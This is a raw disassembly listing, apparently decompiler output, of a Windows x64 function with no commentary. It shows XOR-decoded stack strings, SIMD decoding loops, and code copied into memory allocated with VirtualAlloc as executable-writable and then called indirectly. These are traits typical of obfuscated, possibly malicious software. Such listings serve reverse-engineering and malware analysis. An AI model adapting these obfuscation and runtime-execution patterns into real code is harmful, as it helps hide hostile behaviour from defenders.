movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002e110]
mov qword [r13 + rax*8 + 0x2eaa0], r15
mov qword [r13 + rax*8 + 0x2d150], r10
inc rax
mov qword [0x14002e110], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx]
call r10
nop
lea rcx, [rsp + 0xf50]
call fcn.1400029d0
nop
lea rcx, [rsp + 0x1630]
call fcn.140015110
nop
lea rcx, [rsp + 0x1388]
call fcn.140015f30
nop
lea rcx, [rsp + 0x1480]
call fcn.140016730
nop
lea rcx, [rsp + 0x1400]
call fcn.140016730
nop
jmp 0x140014f53
mov eax, dword [0x140024ff4]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x140024ff8]
mov byte [rsp + 0x60], 0x2e
xor byte [rsp + 0x61], 0x42
xor byte [rsp + 0x62], 0x44
xor byte [rsp + 0x63], 0x46
xor al, 0x48
mov byte [rsp + 0x64], al
movzx eax, word [0x140024dbc]
mov word [rsp + 0x5c], ax
cmp byte [0x140024dbd], 0
je 0x140014380
mov byte [rsp + 0x5c], 0x5c
xor byte [rsp + 0x5d], 0x42
lea r8, [0x140030738]
lea rdx, [rsp + 0x13a8]
lea rcx, [rsp + 0xdd0]
call fcn.140017380
nop
lea rcx, [rsp + 0x5c]
mov r8, r12
inc r8
cmp byte [rcx + r8], 0
jne 0x1400143a5
lea rdx, [rsp + 0x5c]
mov rcx, rax
call fcn.140016610
mov rdx, rax
lea rcx, [rsp + 0xb28]
call fcn.1400167a0
nop
lea r8, [0x140030718]
lea rdx, [rsp + 0xb28]
lea rcx, [rsp + 0xdb0]
call fcn.1400173f0
nop
lea rcx, [rsp + 0x60]
mov r8, r12
inc r8
cmp byte [rcx + r8], 0
jne 0x1400143f2
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140016610
mov rdx, rax
lea rcx, [rsp + 0x1460]
call fcn.1400167a0
nop
lea rcx, [rsp + 0xdb0]
call fcn.140016730
nop
lea rcx, [rsp + 0xb28]
call fcn.140016730
nop
lea rcx, [rsp + 0xdd0]
call fcn.140016730
lea rcx, str.All_Not_Ok__n
call fcn.140001a70
xor r8d, r8d
lea rdx, [rsp + 0x1460]
lea rcx, [rsp + 0x768]
call fcn.140017e90
nop
lea rcx, [rsp + 0x768]
call fcn.1400036c0
movzx ebx, al
lea rcx, [rsp + 0x768]
call fcn.140002b30
test bl, bl
jne 0x140014ada
mov edx, 0x18
lea rcx, [rsp + 0xf50]
call fcn.140002990
lea rcx, [rsp + 0xf50]
call fcn.140016030
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x59]
call fcn.1400150f0
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400144de
xor byte [rbx], 0x40
xor byte [rbx + 1], 0x42
xor byte [rbx + 2], 0x44
xor byte [rbx + 3], 0x46
xor al, 0x48
mov byte [rbx + 4], al
movsd xmm0, qword [0x140024b98]
movsd qword [rsp + 0xf38], xmm0
mov eax, dword [0x140024ba0]
mov dword [rsp + 0xf40], eax
movzx eax, word [0x140024ba4]
mov word [rsp + 0xf44], ax
mov r14d, dword [0x14002c018]
cmp byte [0x140024ba5], 0
je 0x140014784
xor r9d, r9d
cmp r14d, 2
jl 0x14001471e
movdqa xmm7, xmmword [0x140025460]
mov eax, 6
movd xmm8, eax
movdqa xmm9, xmmword [0x140025470]
mov eax, 4
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x140024b98]
pxor xmm3, xmm0
movd dword [rsp + 0xf38], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xf3c]
pxor xmm3, xmm1
movd dword [rsp + 0xf3c], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xf38]
add r10, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140014730
movsd xmm0, qword [str._606_pcaP]
movzx eax, byte [0x140024a80]
movsd qword [rsp + 0x48], xmm0
mov byte [rsp + 0x48], 0x68
xor byte [rsp + 0x49], 0x42
xor byte [rsp + 0x4a], 0x44
xor byte [rsp + 0x4b], 0x46
xor byte [rsp + 0x4c], 0x48
xor byte [rsp + 0x4d], 0x4a
xor byte [rsp + 0x4e], 0x4c
xor byte [rsp + 0x4f], 0x4e
xor al, 0x50
mov byte [rsp + 0x50], al
lea r8, [rsp + 0x1440]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x8e0]
call fcn.140017c80
nop
lea rcx, [rsp + 0xf38]
nop word [rax + rax]
inc r12
cmp byte [rcx + r12], 0
jne 0x1400147f0
mov r8, r12
lea rdx, [rsp + 0xf38]
mov rcx, rax
call fcn.140016610
mov rdx, rax
lea rcx, [rsp + 0xac8]
call fcn.1400167a0
nop
lea r8, [0x140030718]
lea rdx, [rsp + 0xac8]
lea rcx, [rsp + 0xc60]
call fcn.1400173f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xdf0]
call fcn.140017320
mov rdx, rax
lea rcx, [rsp + 0xe10]
call fcn.140003c60
nop
mov rdx, rax
lea rcx, [rsp + 0x768]
call fcn.140007050
mov rdx, rax
lea rcx, [rsp + 0xf50]
call fcn.140015f90
lea rcx, [rsp + 0x768]
call fcn.140015f30
nop
lea rcx, [rsp + 0xe10]
call fcn.140016730
nop
lea rcx, [rsp + 0xc60]
call fcn.140016730
nop
lea rcx, [rsp + 0xac8]
call fcn.140016730
nop
lea rcx, [rsp + 0x8e0]
call fcn.140016730
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x1740]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rsp + 0x1460]
lea rcx, [rsp + 0x1740]
call fcn.140015e60
nop
mov r8, qword [rsp + 0xf58]
mov rdx, qword [rsp + 0xf50]
sub r8, rdx
lea rcx, [rsp + 0x1740]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1740]
call fcn.140015e20
mov dword [rsp + 0xb0], 0xc8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf38], xmm0
mov qword [rsp + 0xf48], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0xf38]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002e440]
lea rbx, [0x140017c50]
test rax, rax
je 0x1400149a9
xor edx, edx
nop dword [rax]
cmp rax, rbx
je 0x140014998
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2e440]
test rax, rax
jne 0x140014980
jmp 0x1400149a9
mov r8, qword [r13 + rdx*8 + 0x2f750]
test r8, r8
jne 0x140014a8f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140014a6e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400149e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [r13 + rax*8 + 0x2e440], rbx
mov qword [r13 + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0xf38]
xor rcx, qword [rsp + 0xf40]
mov rax, qword [rsp + 0xf48]
mov qword [rax], rcx
lea rcx, [rsp + 0x1740]
call fcn.140015110
nop
lea rcx, [rsp + 0xf50]
call fcn.140015f30
jmp 0x140014ae1
mov r14d, dword [0x14002c018]
movups xmm0, xmmword [str.__h_2_n]
movups xmmword [rsp + 0xf38], xmm0
mov eax, dword [0x140024fc8]
mov dword [rsp + 0xf48], eax
movzx eax, byte [0x140024fcc]
mov byte [rsp + 0xf4c], al
xor r9d, r9d
cmp r14d, 2
jl 0x140014d40
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
mov eax, 6
movd xmm10, eax
movdqa xmm7, xmmword [0x140025470]
mov eax, 4
movd xmm11, eax
movdqa xmm12, xmmword [0x140025410]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140025480]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0xf3c]
mov edx, dword [rsp + 0xa0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140014b81
cmp r9d, 0x15
jge 0x140014da4
movsxd rax, r9d
lea r10, [rsp + 0xf38]
add r10, rax
nop
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x15
jl 0x140014d50
lea r8, [rsp + 0x1460]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0x8e0]
call fcn.140017c80
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf50], xmm0
mov qword [rsp + 0xf60], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0xf50]
call fcn.1400029a0
nop
xor edx, edx
mov rcx, qword [0x14002d480]
lea rbx, [0x140017f30]
test rcx, rcx
je 0x140014e2f
xor eax, eax
cmp rcx, rbx
je 0x140014e1e
inc edx
mov eax, edx
mov rcx, qword [r13 + rdx*8 + 0x2d480]
test rcx, rcx
jne 0x140014e06
jmp 0x140014e2f
mov r8, qword [r13 + rax*8 + 0x2fd90]
test r8, r8
jne 0x140014f0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140014eee
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014e60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002e760]
mov qword [r13 + rax*8 + 0x2d480], rbx
mov qword [r13 + rax*8 + 0x2fd90], r8
inc rax
mov qword [0x14002e760], rax
mov rdx, rdi
lea rcx, [fcn.140007260]
call r8
nop
mov rcx, qword [rsp + 0xf50]
xor rcx, qword [rsp + 0xf58]
mov rax, qword [rsp + 0xf60]
mov qword [rax], rcx
lea rcx, [rsp + 0x8e0]
call fcn.140016730
nop
lea rcx, [rsp + 0x1460]
call fcn.140016730
mov rcx, qword [rsp + 0x590]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
nop
lea rcx, [rsp + 0x13a8]
call fcn.140016730
nop
lea rcx, [rsp + 0x1440]
call fcn.140016730
nop
lea rcx, [rsp + 0x1420]
call fcn.140016730
nop
mov rcx, qword [rsp + 0x11b8]
xor rcx, qword [rsp + 0x11b0]
mov rax, qword [rsp + 0x11c0]
mov qword [rax], rcx
xor eax, eax
mov rcx, qword [rsp + 0xf0a0]
xor rcx, rsp
call fcn.1400219a0
lea r11, [rsp + 0xf150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret